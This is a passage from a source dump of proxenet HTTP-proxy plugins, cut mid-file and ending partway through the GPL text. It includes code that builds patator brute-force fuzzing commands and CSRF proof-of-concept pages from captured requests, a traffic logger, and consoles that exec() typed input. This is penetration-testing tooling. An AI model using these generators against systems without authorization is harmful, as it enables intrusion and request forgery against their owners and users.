| 537 | cmd = """patator http_fuzz url="{}" 0=/path/to/wordlist.txt """.format(self.uri) 538 | cmd+= """method="{}" """.format(method.replace('"', '\\"')) 539 | for h in headers[1:]: 540 | if len(h): 541 | cmd+= """header="{}" """.format(h.replace('"', '\\"')) 542 | if self.body is not None and len(self.body) > 0: 543 | cmd+= """body="{}" """.format(self.body.replace('"', '\\"')) 544 | cmd+= "-x ignore:code=404 -x ignore,retry:code=500" 545 | 546 | self.sendToGeneric("patator", cmd) 547 | return 548 | 549 | def writeCsrfPoc(self): 550 | filename = QFileDialog().getSaveFileName(self, "Save CSRF PoC As", os.getenv("HOME")) 551 | if len(filename) == 0: 552 | return 553 | 554 | body = self.data.split("\n\n")[1] 555 | if len(body) == 0: 556 | return 557 | 558 | content = "CSRF PoCCSRF PoC for {}".format(self.uri) 559 | content+= "
new("$HOST:$PORT");''' 690 | else: 691 | content += '''$sock = new IO::Socket::INET(PeerHost=>"$HOST",PeerPort=>"$PORT",Proto=>'tcp');''' 692 | 693 | content += "\n" 694 | content += "$req = \"\";\n" 695 | for line in self.data.split("\n"): 696 | content += "$req .= %s . $crlf;\n" % repr(line) 697 | content += """ 698 | print $sock $req; 699 | 700 | while (my $line = <$sock>) {{ 701 | print $line; 702 | }} 703 | 704 | close($sock); 705 | # 706 | # Automatically generated by '{:s}' 707 | # 708 | """.format(PLUGIN_NAME) 709 | 710 | self.writeGenericFile("Create Ruby script from Request", content) 711 | return 712 | 713 | class ReceptorMainWindow(QWidget): 714 | def __init__(self, parent): 715 | super(ReceptorMainWindow, self).__init__() 716 | self.parent = parent 717 | self.do_updateClen = True 718 | self.setMainWindowLayout() 719 | return 720 | 721 | def bounceResponse(self): 722 | self.parent.body = str( self.bodyEditField.toPlainText() ) 723 | if self.do_updateClen: 724 | self.updateContentLengthHeader() 725 | QApplication.quit() 726 | return 727 | 728 | def updateResponseBody(self): 729 | self.parent.body = self.bodyEditField.toPlainText() 730 | return 731 | 732 | def setMainWindowLayout(self): 733 | bodyLayout = QVBoxLayout() 734 | lurl1 = QLabel("URL") 735 | lurl2 = QLabel("

%s

" % ("darkgreen" if self.parent.uri.startswith("https") \ 736 | else "darkred", 737 | self.parent.uri)) 738 | lb = QLabel("Body") 739 | self.bodyEditField = QTextEdit() 740 | self.bodyEditField.insertPlainText( self.parent.body ) 741 | self.bodyEditField.setFrameStyle(QFrame.Panel | QFrame.Plain) 742 | self.bodyEditField.textChanged.connect( self.updateResponseBody ) 743 | bodyLayout.addWidget(lurl1) 744 | bodyLayout.addWidget(lurl2) 745 | bodyLayout.addWidget(lb) 746 | bodyLayout.addWidget(self.bodyEditField) 747 | 748 | btnLayout = QHBoxLayout() 749 | btnLayout.addStretch(1) 750 | cb = QCheckBox("Update 'Content-Length' header") 751 | cb.stateChanged.connect(self.updateContentLengthState) 752 | cb.toggle() 753 | bounceButton = QPushButton("Bounce") 754 | bounceButton.clicked.connect( self.bounceResponse ) 755 | cancelButton = QPushButton("Cancel") 756 | cancelButton.clicked.connect(QApplication.quit) 757 | btnLayout.addWidget(cb) 758 | btnLayout.addWidget(cancelButton) 759 | btnLayout.addWidget(bounceButton) 760 | 761 | vbox = QVBoxLayout() 762 | vbox.addLayout(bodyLayout) 763 | vbox.addLayout(btnLayout) 764 | self.setLayout(vbox) 765 | return 766 | 767 | def updateContentLengthState(self, state): 768 | self.do_updateClen = (state == QtCore.Qt.Checked) 769 | return 770 | 771 | def updateContentLengthHeader(self): 772 | try: 773 | headers, body = self.parent.body.split("\n"*2) 774 | headers = headers.split("\n") 775 | content_length = len(body) 776 | done = False 777 | 778 | for i in xrange( len(headers) ): 779 | header = str( headers[i] ) 780 | if header.startswith("Content-Length") and not done: 781 | headers.pop(i) 782 | headers.append("Content-Length: %d" % content_length) 783 | done = True 784 | 785 | self.parent.body = "\n".join( headers ) + "\n"*2 + body 786 | except: 787 | pass 788 | return 789 | 790 | 791 | class Receptor(QMainWindow): 792 | def __init__(self, rid, uri, data): 793 | super(Receptor, self).__init__() 794 | self.title = "Receptor for proxenet: Request-id %d" % (rid,) 795 | self.rid = rid 796 | self.uri = uri 797 | self.body = data 798 | 799 | self.setMainWindowProperty() 800 | self.setMainWindowMenuBar() 801 | self.setCentralWidget( ReceptorMainWindow( self ) ) 802 | self.show() 803 | return 804 | 805 | def center(self): 806 | frameGm = self.frameGeometry() 807 | screen = QtGui.QApplication.desktop().screenNumber(QtGui.QApplication.desktop().cursor().pos()) 808 | centerPoint = QtGui.QApplication.desktop().screenGeometry(screen).center() 809 | frameGm.moveCenter(centerPoint) 810 | self.move(frameGm.topLeft()) 811 | return 812 | 813 | def setMainWindowProperty(self): 814 | self.resize(*WINDOW_SIZE) 815 | self.setFixedSize(*WINDOW_SIZE) 816 | self.setWindowTitle(self.title) 817 | self.center() 818 | 819 | if config.has_option(PLUGIN_NAME, "style"): 820 | qtlook = config.get(PLUGIN_NAME, "style") 821 | else: 822 | qtlook = "Cleanlooks" 823 | qApp.setStyle( qtlook ) 824 | return 825 | 826 | def setMainWindowMenuBar(self): 827 | saveTxtFile = QAction(QIcon(), 'Save As Text file', self) 828 | saveTxtFile.setShortcut('Ctrl+T') 829 | saveTxtFile.triggered.connect(self.writeTxtFile) 830 | 831 | menubar = self.menuBar() 832 | fileMenu = menubar.addMenu('&Actions') 833 | fileMenu.addAction(saveTxtFile) 834 | return 835 | 836 | def writeTxtFile(self): 837 | filename = QFileDialog().getSaveFileName(self, "Save Request as Text", os.getenv("HOME")) 838 | if len(filename) == 0: 839 | return 840 | with open(filename, "w") as f: 841 | f.write(self.body) 842 | return 843 | 844 | 845 | def is_blacklisted_extension(uri): 846 | global config 847 | 848 | if config.has_option(PLUGIN_NAME, "blacklisted_extensions"): 849 | blacklist = [x.lower() for x in config.get(PLUGIN_NAME, "blacklisted_extensions").split(" ")] 850 | else: 851 | blacklist = [] 852 | 853 | o = urlparse.urlparse( uri ) 854 | path = o.path.lower() 855 | for ext in blacklist: 856 | if path.endswith(ext): 857 | return True 858 | return False 859 | 860 | 861 | def create_config_file(): 862 | with open(CONFIG_FILE, "w") as f: 863 | f.write("[%s]\n" % PLUGIN_NAME) 864 | f.write("style = Cleanlooks\n") 865 | f.write("blacklisted_extensions = .css .js .jpg .png\n") 866 | return 867 | 868 | 869 | def init_config(): 870 | global config 871 | 872 | if config is None: 873 | if not os.access(CONFIG_FILE, os.R_OK): 874 | error("Creating config file at '%s'" % CONFIG_FILE) 875 | create_config_file() 876 | 877 | config = ConfigParser.ConfigParser() 878 | config.read(CONFIG_FILE) 879 | return 880 | 881 | 882 | def intercept(rid, text, uri): 883 | init_config() 884 | if is_blacklisted_extension(uri): 885 | return text 886 | 887 | try: 888 | text = text.replace(CRLF, "\n") 889 | app = QApplication([uri,]) 890 | win = Interceptor(rid, uri, text) 891 | win.show() 892 | app.exec_() 893 | ret = str(win.data).replace("\n", CRLF) 894 | return ret 895 | 896 | except Exception as e: 897 | error("An unexpected exception occured on request %d: %s" % (rid,e)) 898 | return text 899 | 900 | 901 | def recept(rid, text, uri): 902 | init_config() 903 | if is_blacklisted_extension(uri): 904 | return text 905 | 906 | try: 907 | text = text.replace(CRLF, "\n") 908 | app = QApplication([uri,]) 909 | win = Receptor(rid, uri, text) 910 | win.show() 911 | app.exec_() 912 | ret = str(win.body).replace("\n", CRLF) 913 | return ret 914 | 915 | except Exception as e: 916 | error("An unexpected exception occured on response %d: %s" % (rid, e)) 917 | return text 918 | 919 | 920 | def call_gui(_type, rid, buffer, uri): 921 | cmd = ["python2", inspect.getfile(inspect.currentframe()), _type, str(rid), uri] 922 | p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE) 923 | if p is None: return request 924 | data = p.communicate(input = buffer)[0] 925 | p.wait() 926 | return data 927 | 928 | 929 | def proxenet_request_hook(request_id, request, uri): 930 | if __name__.endswith("InterceptorResponse") or __name__.endswith("Interceptor"): 931 | return call_gui("req", request_id, request, uri) 932 | else: 933 | return request 934 | 935 | 936 | def proxenet_response_hook(response_id, response, uri): 937 | if __name__.endswith("InterceptorResponse") or __name__.endswith("Interceptor"): 938 | return call_gui("res", response_id, response, uri) 939 | else: 940 | return response 941 | 942 | 943 | if __name__ == "__main__": 944 | if len(sys.argv) == 4: 945 | if sys.argv[1] in ("req", "res"): 946 | rid = int(sys.argv[2]) 947 | buf = sys.stdin.read() 948 | url = sys.argv[3] 949 | if sys.argv[1] == "req": 950 | sys.stdout.write(intercept(rid, buf, url)) 951 | sys.stdout.flush() 952 | elif sys.argv[1] == "res": 953 | sys.stdout.write(recept(rid, buf, url)) 954 | sys.stdout.flush() 955 | exit(0) 956 | 957 | # test goes here 958 | rid = 1337 959 | vs = '%2fwEPDwUKMTQ2OTkzNDMyMWRkOWxNFeQcY9jzeKVCluHBdzA6WBo%3d' 960 | uri = "https://foo.bar/bar.asp" 961 | body = "&".join(["a=b", "b=c", "t=x", "__VIEWSTATE=%s"%vs]) 962 | req = """POST /bar.asp HTTP/1.1\r 963 | Host: foo.bar\r 964 | X-Header: Powered by proxenet\r 965 | Content-Length: %d\r 966 | \r 967 | %s""" % (len(body), body) 968 | 969 | os.write(2, '%d\n' % len(sys.argv)) 970 | print ("="*50) 971 | print ("BEFORE:\n%s\n" % req) 972 | 973 | print ("="*50) 974 | print ("AFTER intercept:\n%s\n" % intercept(rid, req, uri)) 975 | 976 | # print ("="*50) 977 | # print ("AFTER recept:\n%s\n" % recept(rid, req, uri)) 978 | -------------------------------------------------------------------------------- /9LogReqRes.py: -------------------------------------------------------------------------------- 1 | """ 2 | Stores all traffic in a SQLite db 3 | Note: requests & responses are stored as is (i.e. might be binary, compressed, etc) 4 | 5 | For merging multiple SQLite databases generated by this plugin, use 6 | proxenet-logreqres-merge.py (https://gist.github.com/hugsy/1cad97ed7cd68cc87c8a) to merge 7 | them. 8 | 9 | """ 10 | 11 | import sys, os, sqlite3, time, ConfigParser 12 | 13 | PLUGIN_NAME = "LogReqRes" 14 | AUTHOR = "hugsy" 15 | 16 | HOME = os.getenv( "HOME" ) 17 | CONFIG_FILE = os.getenv("HOME") + "/.proxenet.ini" 18 | 19 | db = None 20 | 21 | class SqliteDb: 22 | def __init__(self, dbname): 23 | print("[%s] HTTP traffic will be stored in '%s'" % (PLUGIN_NAME, dbname)) 24 | self.data_file = dbname 25 | self.execute("CREATE TABLE IF NOT EXISTS requests (id INTEGER, request BLOB, uri TEXT, timestamp INTEGER, comment TEXT DEFAULT NULL)") 26 | self.execute("CREATE TABLE IF NOT EXISTS responses (id INTEGER, response BLOB, uri TEXT, timestamp INTEGER, comment TEXT DEFAULT NULL)") 27 | return 28 | 29 | def connect(self): 30 | self.conn = sqlite3.connect(self.data_file) 31 | self.conn.text_factory = str 32 | return self.conn.cursor() 33 | 34 | def disconnect(self): 35 | self.conn.close() 36 | return 37 | 38 | def execute(self, query, values=None): 39 | cursor = self.connect() 40 | if values is None: 41 | cursor.execute(query) 42 | else: 43 | cursor.execute(query, values) 44 | 45 | self.conn.commit() 46 | return cursor 47 | 48 | 49 | def proxenet_on_load(): 50 | global db 51 | 52 | try: 53 | option_name = "db_path" 54 | config = ConfigParser.ConfigParser() 55 | config.read(CONFIG_FILE) 56 | dbpath = os.path.realpath( config.get(PLUGIN_NAME, option_name, 0, {"home": os.getenv("HOME")}) ) 57 | if not os.path.exists(dbpath): 58 | raise Exception("Falling back to autogen db") 59 | 60 | fmt_name = config.get(PLUGIN_NAME, "db_name_fmt") 61 | dbname = dbpath + "/" + fmt_name 62 | dbname = dbname.format(timestamp=int(time.time()), 63 | progname=PLUGIN_NAME, 64 | pid=os.getpid(), 65 | format="sqlite", 66 | ) 67 | 68 | except Exception as e: 69 | dbname = "/tmp/proxenet-"+str( int(time.time()) )+".db" 70 | print("[-] Could not find '%s/%s' option in '%s', using default '%s'" % (PLUGIN_NAME, option_name, CONFIG_FILE, dbname)) 71 | 72 | db = SqliteDb( dbname=dbname ) 73 | 74 | return 75 | 76 | 77 | def proxenet_on_leave(): 78 | global db 79 | 80 | db.disconnect() 81 | return 82 | 83 | 84 | def exist_rid(table, rid, uri): 85 | global db 86 | 87 | sql_req = "SELECT COUNT(*) FROM %s WHERE id=? AND uri=?" % table 88 | cur = db.execute(sql_req, (rid,uri)) 89 | res = cur.fetchone()[0] 90 | return res > 0 91 | 92 | 93 | def insert_log(table, rid, req, uri): 94 | global db 95 | 96 | ts = int( time.time() ) 97 | sql_req = "INSERT INTO %s VALUES (?, ?, ?, ?, ?)" % table 98 | db.execute(sql_req, (rid, req, uri, ts, '')) 99 | return 100 | 101 | 102 | def update_log(table, rid, blob): 103 | global db 104 | 105 | sql_req = "SELECT * FROM %s WHERE id=?" % table 106 | cur = db.execute(sql_req, (rid,)) 107 | new_blob = cur.fetchone()[1] 108 | new_blob+= blob 109 | 110 | if table == "requests": sql_req = "UPDATE requests SET request=? WHERE id=?" 111 | else: sql_req = "UPDATE responses SET response=? WHERE id=?" 112 | db.execute(sql_req, (new_blob, rid)) 113 | return 114 | 115 | 116 | def proxenet_request_hook(request_id, request, uri): 117 | table = "requests" 118 | if exist_rid(table, request_id, uri): 119 | update_log(table, request_id, request) 120 | else: 121 | insert_log(table, request_id, request, uri) 122 | return request 123 | 124 | 125 | def proxenet_response_hook(response_id, response, uri): 126 | table = "responses" 127 | if exist_rid(table, response_id, uri): 128 | update_log(table, response_id, response) 129 | else: 130 | insert_log(table, response_id, response, uri) 131 | return response 132 | 133 | 134 | if __name__ == "__main__": 135 | uri = "foo" 136 | req = "GET / HTTP/1.1\r\nHost: foo\r\nX-Header: Powered by proxenet\r\n\r\n" 137 | res = "HTTP/1.0 200 OK\r\n\r\n" 138 | rid = 42 139 | 140 | proxenet_on_load() 141 | proxenet_request_hook(rid, req, uri) 142 | proxenet_response_hook(rid, res, uri) 143 | proxenet_on_leave() 144 | 145 | sys.exit(0) 146 | -------------------------------------------------------------------------------- /9NoHardFeelingsBro.py: -------------------------------------------------------------------------------- 1 | import burst.http 2 | import burst.console 3 | 4 | AUTHOR = "hugsy" 5 | PLUGIN_NAME = "NoHardFeelingsBro" 6 | 7 | show_banner = True 8 | banner = """ _ _ 9 | | |__ _ _ _ _ __| |_ 10 | | '_ \ || | '_(_-< _| 11 | |_.__/\_,_|_| /__/\__| 12 | 13 | By @tweksteen 14 | """ 15 | def interact_request(rid, req, uri): 16 | global show_banner 17 | if show_banner: 18 | print "Loading..." 19 | print burst.console.banner 20 | show_banner = False 21 | print "Your request RID={:d} ('{:s}') is in variable `http'".format(rid, uri) 22 | print "To send the modified request, enter 'quit';", 23 | print "to send the original request, enter 'reset'." 24 | 25 | is_ssl = uri.startswith("https://") 26 | http = burst.http.Request(req, use_ssl=is_ssl) 27 | while True: 28 | try: 29 | cmd = raw_input("\x1b[4m"+"\x1b[1m"+">>>"+"\x1b[0m"+" ").strip() 30 | if cmd == "reset": 31 | ret = req 32 | break 33 | if cmd == "quit": 34 | ret = str(http) 35 | break 36 | exec(cmd) 37 | except KeyboardInterrupt: 38 | ret = req 39 | break 40 | except EOFError: 41 | ret = req 42 | break 43 | return ret 44 | 45 | def proxenet_request_hook(request_id, request, uri): 46 | return interact_request( request_id, request, uri ) 47 | 48 | def proxenet_response_hook(response_id, response, uri): 49 | return response 50 | 51 | if __name__ == "__main__": 52 | burst.console.interact() 53 | -------------------------------------------------------------------------------- /9SeriouslyNoHardFeelings.rb: -------------------------------------------------------------------------------- 1 | turf_libdir = File.expand_path( File.dirname(__FILE__) ) 2 | $LOAD_PATH.unshift(turf_libdir) unless $LOAD_PATH.include?(turf_libdir) 3 | require 'turf/turf' 4 | require 'uri' 5 | 6 | 7 | module SeriouslyNoHardFeelings 8 | $AUTHOR = "hugsy" 9 | $PLUGIN_NAME = "NoHardFeelingsBro" 10 | 11 | $banner = " _ __ 12 | | | / _| 13 | | |_ _ _ _ __| |_ 14 | | __| | | | '__| _| 15 | | |_| |_| | | | | 16 | \\__|\\__,_|_| |_| 17 | 18 | " 19 | $show_banner = true 20 | module_function 21 | 22 | def interact_request(rid, req, uri) 23 | if $show_banner 24 | puts $banner 25 | $show_banner = false 26 | end 27 | puts "Your request RID=#{rid} ('#{uri}') is in variable `http'" 28 | puts "To send the modified request, enter 'quit'; to send the original request, enter 'reset'." 29 | 30 | is_ssl = uri.start_with? "https://" 31 | url = URI(uri) 32 | print 33 | http = Turf::Request.new req, hostname: url.host, port: url.port, use_ssl: is_ssl 34 | while true do 35 | print "\x1b[4m" << "\x1b[1m" << ">>>" << "\x1b[0m" << " " 36 | cmd = gets() 37 | if cmd == "reset\n" then 38 | ret = req 39 | break 40 | elsif cmd == "quit\n" then 41 | ret = http.to_s 42 | break 43 | else 44 | eval(cmd) 45 | end 46 | end 47 | 48 | return ret 49 | end 50 | 51 | def proxenet_request_hook(request_id, request, uri) 52 | ret = interact_request( request_id, request, uri ) 53 | return ret 54 | end 55 | 56 | def proxenet_response_hook(response_id, response, uri) 57 | return response 58 | end 59 | 60 | end 61 | 62 | if __FILE__ == $0 63 | # use for test cases 64 | end 65 | -------------------------------------------------------------------------------- /DumpReqRes.py: -------------------------------------------------------------------------------- 1 | """ 2 | Dump to stdout HTTP requests and responses only if their content 3 | is text-only (no raw bytes) 4 | """ 5 | 6 | __PLUGIN_NAME__ = "DumpReqRes" 7 | __PLUGIN_AUTHOR__ = "@hugsy" 8 | 9 | 10 | def proxenet_on_load(): 11 | print("Hello from {}".format(__PLUGIN_NAME__)) 12 | return 13 | 14 | def proxenet_on_leave(): 15 | print("Goodbye from {}".format(__PLUGIN_NAME__)) 16 | return 17 | 18 | def proxenet_request_hook(rid, request, uri): 19 | c = set([ chr(i) for i in range(0, 20) ]) - set(['\r', '\n']) 20 | r = set(request) 21 | if len(c & r)==0: 22 | print rid, "->", uri 23 | print request 24 | return request 25 | 26 | 27 | def proxenet_response_hook(rid, response, uri): 28 | c = set([ chr(i) for i in range(0, 20) ]) - set(['\r', '\n']) 29 | r = set(response) 30 | if len(c & r)==0: 31 | print rid, "->", uri 32 | print response 33 | return response 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each 